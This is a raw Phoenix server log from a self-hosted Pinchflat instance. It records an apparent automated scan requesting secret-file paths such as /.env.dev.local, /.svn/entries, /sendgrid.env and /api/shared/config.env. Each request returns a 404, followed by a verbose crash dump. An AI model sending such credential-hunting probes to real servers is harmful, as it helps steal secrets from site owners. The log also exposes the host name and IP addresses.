~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9997.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev.local", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50650}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9997.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev.local", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50650}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mo (truncated) 15:23:51.079 [info] GET /.svn/entries 15:23:51.079 [debug] QUERY OK source="settings" db=0.1ms idle=334.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.080 [debug] QUERY OK source="settings" db=0.0ms idle=282.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.080 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:51.080 [error] #PID<0.10000.0> running PinchflatWeb.Endpoint (connection #PID<0.9999.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.svn/entries ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.svn/entries (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9999.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.svn/entries", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50654}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10000.0>, params: %{}, path_info: [".svn", "entries"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "max-age=0"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.svn/entries", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDH8a87o8bGw4AAe_C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9999.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.svn/entries", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50654}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.svn/entries (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9999.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.svn/entries", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50654}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" (truncated) 15:23:51.113 [info] GET /sendgrid.env 15:23:51.113 [debug] QUERY OK source="settings" db=0.1ms idle=315.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.113 [debug] QUERY OK source="settings" db=0.0ms idle=149.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.114 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:51.114 [error] #PID<0.10002.0> running PinchflatWeb.Endpoint (connection #PID<0.10001.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sendgrid.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sendgrid (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10001.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sendgrid.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50670}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10002.0>, params: %{}, path_info: ["sendgrid"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.5"}, {"dnt", "1"}, {"host", "roku.hartupee.com"}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/sendgrid.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDH8jB7ddPXnMAAfAC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10001.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sendgrid.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50670}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sendgrid (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10001.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sendgrid.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50670}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10002.0>, params: %{}, path_info: ["sendgrid"], path_params: %{}, port: 80, private: %{ Pinchfla (truncated) 15:23:51.152 [info] GET /api/shared/config.env 15:23:51.152 [debug] QUERY OK source="settings" db=0.1ms idle=187.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.152 [debug] QUERY OK source="settings" db=0.0ms idle=72.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.153 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:51.153 [error] #PID<0.10004.0> running PinchflatWeb.Endpoint (connection #PID<0.10003.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /api/shared/config.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/shared/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10003.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/config.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50678}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10004.0>, params: %{}, path_info: ["api", "shared", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "max-age=0"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/api/shared/config.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDH8sT58UYTAcAAfBC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10003.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/config.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50678}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/shared/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10003.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/config.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50678}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", (truncated) 15:23:51.183 [info] GET /Procfile 15:23:51.184 [debug] QUERY OK source="settings" db=0.0ms idle=103.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.184 [debug] QUERY OK source="settings" db=0.0ms idle=70.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.184 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:51.184 [error] #PID<0.10006.0> running PinchflatWeb.Endpoint (connection #PID<0.10005.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /Procfile ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /Procfile (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/Procfile", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50690}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10006.0>, params: %{}, path_info: ["Procfile"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: 